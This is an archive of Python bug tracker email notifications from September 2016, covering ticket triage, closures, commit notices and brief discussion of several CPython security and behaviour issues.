In-Reply-To: <1359683125.78.0.593949491252.issue17096@psf.upfronthosting.co.za>
Message-ID: <1473378228.19.0.926920271715.issue17096@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Please take this idea to https://www.pypa.io/

----------
nosy: +christian.heimes
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17096>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:44:11 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:44:11 +0000
Subject: [issue18317] gettext: DoS via crafted Plural-Forms
In-Reply-To: <1372370486.3.0.302841036863.issue18317@psf.upfronthosting.co.za>
Message-ID: <1473378251.8.0.381574543107.issue18317@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 3.2, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18317>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:44:52 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:44:52 +0000
Subject: [issue11671] Security hole in wsgiref.headers.Headers
In-Reply-To: <1301055298.41.0.957962483368.issue11671@psf.upfronthosting.co.za>
Message-ID: <1473378292.97.0.230343864179.issue11671@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee: pje -> 
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 2.6, Python 3.1, Python 3.2, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11671>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:46:20 2016
From: report at bugs.python.org (Thomas Grainger)
Date: Thu, 08 Sep 2016 23:46:20 +0000
Subject: [issue17096] the system keyring should be used instead of ~/.pypirc
In-Reply-To: <1473378228.19.0.926920271715.issue17096@psf.upfronthosting.co.za>
Message-ID: <CABnLcR5zxLMOtRK94GMKnW5ZkaHfqEz6U39JJMXdcg4afQe9Ng@mail.gmail.com>


Thomas Grainger added the comment:

But distutils is a core Python module...

On 9 Sep 2016 00:43, "Christian Heimes" <report at bugs.python.org> wrote:

>
> Christian Heimes added the comment:
>
> Please take this idea to https://www.pypa.io/
>
> ----------
> nosy: +christian.heimes
> resolution:  -> out of date
> status: open -> closed
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue17096>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17096>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:46:45 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:46:45 +0000
Subject: [issue16202] sys.path[0] security issues
In-Reply-To: <1349986223.57.0.879834971708.issue16202@psf.upfronthosting.co.za>
Message-ID: <1473378405.02.0.748757531002.issue16202@psf.upfronthosting.co.za>


Christian Heimes added the comment:

What is the status of this issue? Is isolated mode (-I) a sufficient solution for you?

----------
versions: +Python 3.6, Python 3.7 -Python 2.6, Python 3.1, Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16202>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:48:36 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:48:36 +0000
Subject: [issue17096] the system keyring should be used instead of ~/.pypirc
In-Reply-To: <1359683125.78.0.593949491252.issue17096@psf.upfronthosting.co.za>
Message-ID: <1473378516.13.0.237815150433.issue17096@psf.upfronthosting.co.za>


Christian Heimes added the comment:

PyPA is now maintaining packaging and developing software for packaging. They develop new tooling to upload packages, too.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17096>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:49:28 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:49:28 +0000
Subject: [issue1298813] sysmodule.c: realpath() is unsafe
Message-ID: <1473378568.15.0.138647005851.issue1298813@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Victor, #12801 was closed. What about this ticket?

----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1298813>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:51:01 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:51:01 +0000
Subject: [issue15452] Improve the security model for logging listener()
In-Reply-To: <1343264495.49.0.0195201203683.issue15452@psf.upfronthosting.co.za>
Message-ID: <1473378661.28.0.776927222906.issue15452@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Can this ticket be closed?

----------
nosy: +christian.heimes
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15452>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:51:40 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 08 Sep 2016 23:51:40 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473378700.79.0.364272675196.issue27364@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Thank you all for persisting on this.  I have seen numerous beginners be puzzled why normal (cooked) strings using '\' for Windows paths sometimes work and sometimes 'mysteriously' do not, as in the initially referenced issue.  I also think it better to consistently use 'r' for REs with '\' intended to be passed through to re.  (And I pushed some of the IDLE code that was patched.)

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:52:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:52:21 +0000
Subject: [issue15100] Race conditions in shutil.copy,
 shutil.copy2 and shutil.copyfile
In-Reply-To: <1340020668.92.0.801725909503.issue15100@psf.upfronthosting.co.za>
Message-ID: <1473378741.84.0.397169305119.issue15100@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
priority: normal -> high
versions: +Python 2.7, Python 3.5, Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15100>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:53:53 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:53:53 +0000
Subject: [issue20979] Calling getdents()/readdir64() repeatedly while closing
 descriptors provides unexpected behaviour.
In-Reply-To: <1395240826.46.0.532005505249.issue20979@psf.upfronthosting.co.za>
Message-ID: <1473378833.12.0.919164333096.issue20979@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Is this still relevant with O_CLOEXEC?

----------
nosy: +christian.heimes
versions: +Python 3.6, Python 3.7 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20979>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:56:49 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:56:49 +0000
Subject: [issue21324] dbhash/bsddb leaks random memory fragments to a database
In-Reply-To: <1398110084.7.0.0365348726476.issue21324@psf.upfronthosting.co.za>
Message-ID: <1473379009.13.0.758710045235.issue21324@psf.upfronthosting.co.za>


Christian Heimes added the comment:

No activity in two years. I'm closing this ticket. Please reopen it if we still need to address the issue in 2.7. 3.4+ doesn't have bsddb.

----------
nosy: +christian.heimes
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21324>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:59:45 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:59:45 +0000
Subject: [issue20050] distutils should check PyPI certs when connecting to it
In-Reply-To: <1387673525.81.0.630232623355.issue20050@psf.upfronthosting.co.za>
Message-ID: <1473379185.68.0.660849322051.issue20050@psf.upfronthosting.co.za>


Christian Heimes added the comment:

distutils uses urlopen() which uses ssl.create_default_context() to create a SSLContext with cert validation and hostname verification enabled.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20050>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:00:32 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 00:00:32 +0000
Subject: [issue8372] socket: Buffer overrun while reading unterminated
 AF_UNIX	addresses
In-Reply-To: <1271010785.16.0.286802399648.issue8372@psf.upfronthosting.co.za>
Message-ID: <1473379232.09.0.246059585077.issue8372@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6, Python 3.7 -Python 2.6, Python 3.2, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8372>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:01:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 00:01:58 +0000
Subject: [issue24594] msilib.OpenDatabase Type Confusion
In-Reply-To: <1436398001.58.0.629025200144.issue24594@psf.upfronthosting.co.za>
Message-ID: <1473379318.61.0.283083142171.issue24594@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Steve, please have a look.

----------
assignee:  -> steve.dower
nosy: +christian.heimes
versions: +Python 2.7, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24594>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:02:33 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 00:02:33 +0000
Subject: [issue26471] load_verify_locations(cadata) should load AUX ASN.1 to
 supported trusted certs
In-Reply-To: <1456921480.82.0.773236455463.issue26471@psf.upfronthosting.co.za>
Message-ID: <1473379353.67.0.614376292834.issue26471@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
priority: normal -> high
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26471>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:02:45 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 00:02:45 +0000
Subject: [issue25300] Enable Intel MPX (Memory protection Extensions) feature
In-Reply-To: <1443788737.62.0.174147088714.issue25300@psf.upfronthosting.co.za>
Message-ID: <1473379365.21.0.959916898722.issue25300@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25300>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:05:05 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 00:05:05 +0000
Subject: [issue27691] X509 cert with GEN_RID subject alt name causes SytemError
In-Reply-To: <1470389195.49.0.571813101842.issue27691@psf.upfronthosting.co.za>
Message-ID: <1473379505.06.0.923276037488.issue27691@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27691>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:08:44 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 00:08:44 +0000
Subject: [issue23065] Pyhton27.dll at SysWOW64 not updated when updating
 Python 2.7.X
In-Reply-To: <1418727319.18.0.894015013947.issue23065@psf.upfronthosting.co.za>
Message-ID: <1473379724.75.0.698552935442.issue23065@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm closing the bug.

----------
nosy: +christian.heimes
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23065>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:17:37 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 00:17:37 +0000
Subject: [issue24933] socket.recv(size, MSG_TRUNC) returns more than size bytes
In-Reply-To: <1440502095.54.0.909214947799.issue24933@psf.upfronthosting.co.za>
Message-ID: <1473380257.86.0.131450609195.issue24933@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24933>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:23:58 2016
From: report at bugs.python.org (Stephen Ash)
Date: Fri, 09 Sep 2016 00:23:58 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473380638.85.0.899700884385.issue19500@psf.upfronthosting.co.za>


Changes by Stephen Ash <stephenash at gmail.com>:


----------
nosy: +Stephen Ash

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:26:56 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 09 Sep 2016 00:26:56 +0000
Subject: [issue12378] smtplib.SMTP_SSL leaks socket connections on SSL error
In-Reply-To: <1308599064.12.0.317669798103.issue12378@psf.upfronthosting.co.za>
Message-ID: <1473380816.04.0.179817321663.issue12378@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12378>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:27:31 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 09 Sep 2016 00:27:31 +0000
Subject: [issue10572] Move test sub-packages to Lib/test
In-Reply-To: <1290991979.58.0.262973706564.issue10572@psf.upfronthosting.co.za>
Message-ID: <1473380851.65.0.583209417513.issue10572@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10572>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:28:34 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 09 Sep 2016 00:28:34 +0000
Subject: [issue8372] socket: Buffer overrun while reading unterminated
 AF_UNIX	addresses
In-Reply-To: <1271010785.16.0.286802399648.issue8372@psf.upfronthosting.co.za>
Message-ID: <1473380914.42.0.316990119478.issue8372@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8372>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:29:45 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 00:29:45 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473380985.07.0.45484744591.issue28029@psf.upfronthosting.co.za>


Martin Panter added the comment:

There may be related discussion in Issue 24243, also about searching for empty strings. A while ago I meant to add documetation and tests for that, but I lost momentum after cleaning up the existing tests.

Some of the behaviours are undocumented and surprising, but if you look at the implementation it is clear they are not accidental. E.g. I think there is a function called replace_interleave() or something.

IMO you can find an unlimited number of instances of an empty string at index zero of any string. So calls like "ABC".strip("") are sensible to raise an exception, and the interleave mode of "ABC".count("") is unexpected. But I don?t see a big need to change this existing behaviour as long as it is documented.

----------
nosy: +martin.panter
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:53:50 2016
From: report at bugs.python.org (Wesley Emeneker)
Date: Fri, 09 Sep 2016 00:53:50 +0000
Subject: [issue28033] dictobject.c comment misspelling
Message-ID: <1473382430.74.0.828322185032.issue28033@psf.upfronthosting.co.za>


New submission from Wesley Emeneker:

This is a patch for a simple misspelling fix in a comment in dictobject.c

----------
assignee: docs at python
components: Documentation
files: dictobject_comment_misspell.patch
keywords: patch
messages: 275226
nosy: Wesley Emeneker, docs at python
priority: normal
severity: normal
status: open
title: dictobject.c comment misspelling
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44481/dictobject_comment_misspell.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28033>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:57:03 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 00:57:03 +0000
Subject: [issue28033] dictobject.c comment misspelling
In-Reply-To: <1473382430.74.0.828322185032.issue28033@psf.upfronthosting.co.za>
Message-ID: <20160909005659.13637.99262.7D79BCC1@psf.io>


Roundup Robot added the comment:

New changeset 30f20247bd14 by Berker Peksag in branch 'default':
Issue #28033: Fix typo in dictobject.c
https://hg.python.org/cpython/rev/30f20247bd14

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28033>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:57:49 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 09 Sep 2016 00:57:49 +0000
Subject: [issue28033] dictobject.c comment misspelling
In-Reply-To: <1473382430.74.0.828322185032.issue28033@psf.upfronthosting.co.za>
Message-ID: <1473382669.2.0.625848484731.issue28033@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type: enhancement -> behavior
versions: +Python 3.6 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28033>
_______________________________________

From report at bugs.python.org  Thu Sep  8 21:05:34 2016
From: report at bugs.python.org (Vinay Sajip)
Date: Fri, 09 Sep 2016 01:05:34 +0000
Subject: [issue15452] Improve the security model for logging listener()
In-Reply-To: <1343264495.49.0.0195201203683.issue15452@psf.upfronthosting.co.za>
Message-ID: <1473383134.4.0.271263638893.issue15452@psf.upfronthosting.co.za>


Vinay Sajip added the comment:

> Can this ticket be closed?

I suppose so - I didn't implement the addition of lookup_eval() to the ast module as I thought it might be a slight overkill. Given that the calls to eval() from fileConfig() have been there from when logging was added to the stdlib, and as this ticket has been quiet since 2012, I suppose there's no real concern about the eval() being a security issue. If there is such a concern, then my proposal to add lookup_eval() to the ast module should be considered (it didn't get any review comments when I proposed it).

----------
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15452>
_______________________________________

From report at bugs.python.org  Thu Sep  8 21:10:59 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 01:10:59 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473383459.6.0.787807785082.issue28022@psf.upfronthosting.co.za>


Martin Panter added the comment:

urllib.request.urlopen() should be affected too right?

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 21:34:00 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 01:34:00 +0000
Subject: [issue20762] SSLSocket.read() not documented
In-Reply-To: <1393262503.02.0.956219773808.issue20762@psf.upfronthosting.co.za>
Message-ID: <1473384840.85.0.0724394081399.issue20762@psf.upfronthosting.co.za>


Martin Panter added the comment:

In the meantime, full documentation for the read() and write() methods was added for Python 3 in revision 61e52fda1006. The Python 2 documentation only mentions read() indirectly, in passing and in example code, and does not mention write().

But deprecating them makes sense to me. The essential functionality seems to already be available in the recv(), recv_into(), and send() or sendall() methods. The write() documentation is not clear regarding partial writes, in constrast with send() and sendall().

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20762>
_______________________________________

From report at bugs.python.org  Thu Sep  8 22:02:48 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 09 Sep 2016 02:02:48 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473386568.97.0.853824008309.issue27137@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Can this be merged even with the two failing tests? I have little to no time available to fix it properly before the feature freeze. We can skip/silence those tests for a bit; I'll open a new issue and fix it in time for beta 2.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Thu Sep  8 22:15:37 2016
From: report at bugs.python.org (jf)
Date: Fri, 09 Sep 2016 02:15:37 +0000
Subject: [issue28034] local var in "for v in iter" modify the uplevel var
 value.
Message-ID: <1473387337.55.0.425238747247.issue28034@psf.upfronthosting.co.za>


New submission from jf:

eg:

s = 'aaa'
print(s)
for s in '111', '222', '333':
    print(s)
print(s)

the right result should be:
'aaa'
'111'
'222'
'333'
'aaa'

but, i got:
'aaa'
'111'
'222'
'333'
'333'

the local var in "for v in iter", modify the uplevel var value.
Is it wrong?

----------
components: Interpreter Core
messages: 275233
nosy: zaazbb
priority: normal
severity: normal
status: open
title: local var in "for v in iter" modify the uplevel var value.
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28034>
_______________________________________

From report at bugs.python.org  Thu Sep  8 22:20:14 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 02:20:14 +0000
Subject: [issue28034] local var in "for v in iter" modify the uplevel var
 value.
In-Reply-To: <1473387337.55.0.425238747247.issue28034@psf.upfronthosting.co.za>
Message-ID: <1473387614.64.0.999063117759.issue28034@psf.upfronthosting.co.za>


R. David Murray added the comment:

No, that's the way python works.  A for loop does not have its own scope.

----------
nosy: +r.david.murray
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28034>
_______________________________________

From report at bugs.python.org  Thu Sep  8 22:28:36 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 02:28:36 +0000
Subject: [issue27630] Generator._encoded_EMTPY misspelling in email package
In-Reply-To: <1469581633.21.0.276257861067.issue27630@psf.upfronthosting.co.za>
Message-ID: <20160909022833.20970.42631.B6D4691B@psf.io>


Roundup Robot added the comment:

New changeset 468961cea562 by R David Murray in branch '3.5':
#27630: Be consistent in how _XXX/_encoded_XXX vars are initialized.
https://hg.python.org/cpython/rev/468961cea562

New changeset ddb1cf7b7eb1 by R David Murray in branch 'default':
Merge: #27630: Be consistent in how _XXX/_encoded_XXX vars are initialized.
https://hg.python.org/cpython/rev/ddb1cf7b7eb1

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27630>
_______________________________________

From report at bugs.python.org  Thu Sep  8 22:30:10 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 02:30:10 +0000
Subject: [issue27630] Generator._encoded_EMTPY misspelling in email package
In-Reply-To: <1469581633.21.0.276257861067.issue27630@psf.upfronthosting.co.za>
Message-ID: <1473388210.04.0.271507446426.issue27630@psf.upfronthosting.co.za>


R. David Murray added the comment:

Cleaned up the code.  It was basically working by accident with the misspelling.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27630>
_______________________________________

From report at bugs.python.org  Thu Sep  8 22:37:46 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 02:37:46 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <20160909023743.8543.7498.5052AA5B@psf.io>


Roundup Robot added the comment:

New changeset 60085c8f01fe by R David Murray in branch 'default':
#27364: Credit Emanuel Barry in NEWS item.
https://hg.python.org/cpython/rev/60085c8f01fe

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 22:41:22 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 09 Sep 2016 02:41:22 +0000
Subject: [issue27931] Email parse IndexError <""@wiarcom.com>
In-Reply-To: <1472743779.07.0.918992764498.issue27931@psf.upfronthosting.co.za>
Message-ID: <1473388882.28.0.27656242611.issue27931@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Ping this and hope you don't forget about it David. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27931>
_______________________________________

From report at bugs.python.org  Thu Sep  8 23:14:48 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 03:14:48 +0000
Subject: [issue17602] mingw: default sys.path calculations for windows
 platforms
In-Reply-To: <1364760613.75.0.604084743865.issue17602@psf.upfronthosting.co.za>
Message-ID: <1473390888.23.0.362348854691.issue17602@psf.upfronthosting.co.za>


Martin Panter added the comment:

I presume the above commit was meant to reference Issue 17620

----------
resolution: fixed -> 
stage: resolved -> patch review
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17602>
_______________________________________

From report at bugs.python.org  Thu Sep  8 23:20:50 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 09 Sep 2016 03:20:50 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473391250.95.0.706082883939.issue27137@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Ned will make the call about committing broken tests decorated with the expected failure decorator, but if you view this as a bug then this can go into b2 w/ passing tests instead.

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Thu Sep  8 23:25:21 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 03:25:21 +0000
Subject: [issue17602] mingw: default sys.path calculations for windows
 platforms
In-Reply-To: <1364760613.75.0.604084743865.issue17602@psf.upfronthosting.co.za>
Message-ID: <1473391521.27.0.774193974963.issue17602@psf.upfronthosting.co.za>


Steve Dower added the comment:

Yeah, my bad :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17602>
_______________________________________

From report at bugs.python.org  Thu Sep  8 23:27:34 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 03:27:34 +0000
Subject: [issue17620] Python interactive console doesn't use sys.stdin for
 input
In-Reply-To: <1364921954.86.0.527255608282.issue17620@psf.upfronthosting.co.za>
Message-ID: <1473391654.98.0.891095282231.issue17620@psf.upfronthosting.co.za>


Steve Dower added the comment:

Unassigning this. I meant to close it with another fix, but that would be wrong as we really ought to keep this open until we solve it properly. All I've done is make it use the right APIs on Windows, but we still don't handle it properly when we change stdin.

----------
assignee: steve.dower -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17620>
_______________________________________

From report at bugs.python.org  Thu Sep  8 23:35:52 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Fri, 09 Sep 2016 03:35:52 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473392152.88.0.463222768651.issue28022@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

Yes, urllib.request.urlopen needs an update too. It takes those certfile and keyfile and usage of those could be deprecated in favor of context.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 23:47:43 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 03:47:43 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473392863.37.0.212429351193.issue24363@psf.upfronthosting.co.za>


Martin Panter added the comment:

Updated patch for Python 3 now that Issue 22233 has been fixed.

----------
Added file: http://bugs.python.org/file44482/bypass-parsegen.v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Thu Sep  8 23:51:47 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 03:51:47 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <20160909035143.59726.58475.68162A22@psf.io>


Roundup Robot added the comment:

New changeset 49533a9fe322 by Yury Selivanov in branch 'default':
Issue #27985: Implement PEP 526 -- Syntax for Variable Annotations.
https://hg.python.org/cpython/rev/49533a9fe322

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 23:54:03 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 03:54:03 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473393243.04.0.979210022199.issue27985@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Committed.  Congrats Ivan, it's a very serious contribution.  Thank you.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

